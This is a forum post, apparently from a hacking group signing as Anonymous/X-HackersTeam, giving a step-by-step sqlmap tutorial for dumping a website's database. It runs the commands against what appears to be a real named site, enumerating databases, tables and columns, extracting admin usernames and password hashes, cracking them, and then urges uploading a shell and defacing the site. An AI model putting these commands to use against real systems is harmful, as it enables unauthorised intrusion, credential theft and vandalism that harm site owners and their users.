[TuT]SQLmap

Pagini: 1

Moderat de Bloody

ß®£αK£®™
Administrator
Postari: 311

ey guys, i will teach you in this tut how to dump a DB.

SQLmap commands you will need are:

Code:
python sqlmap.py -u http://example/index.php?id=156 --dbs
python sqlmap.py -u http://example/index.php?id=156 -D pjirc_forum --tables
python sqlmap.py -u http://example/index.php?id=156 -T users --columns
python sqlmap.py -u http://example/index.php?id=156 -T users -U test --dump

1. Step

After finding the victim type in sql map: python ./sqlmap.py -u http://www.calidus.ro/en/news.php?id=2 --dbs -------->>> this is an example

2. Step

OK, now we have website's DB's, we want to find the tables, so we will type: python ./sqlmap.py -u http://www.calidus.ro/en/news.php?id=2 -D calidus_calidussql --tables ----------->>>> to see the DB's tables

Here we come, this are some of the tables,but we are intrested to find admin accout

3. Step
After finding the table we want to access we type: python ./sqlmap.py -u http://www.calidus.ro/en/news.php?id=2 -T users --columns

Voilla, this is what we got:

4. Step
-
Now, we want to get admin id&password, so we type: python ./sqlmap.py -u http://www.calidus.ro/en/news.php?id=2 -T users -U username,user_password --dump

It may ask you if you want to crack passwords, well this depends on you :). I chose to crack passwords but i waited to crack just 1, it will take more time, but i stopped the cracking cuz i'm making a fast TuT :)

And this is it... after getting admin account login, upload a shell and deface it, or do what you wanna do with it :)

_______________________________________
We are Anonymous!
We are legion!
Wait for us!
We X-HackersTeam!
We have the power!
We want respect!
X-HackersTeam is Anonymous
EXPECT US !

Pagini: 1

Mergi la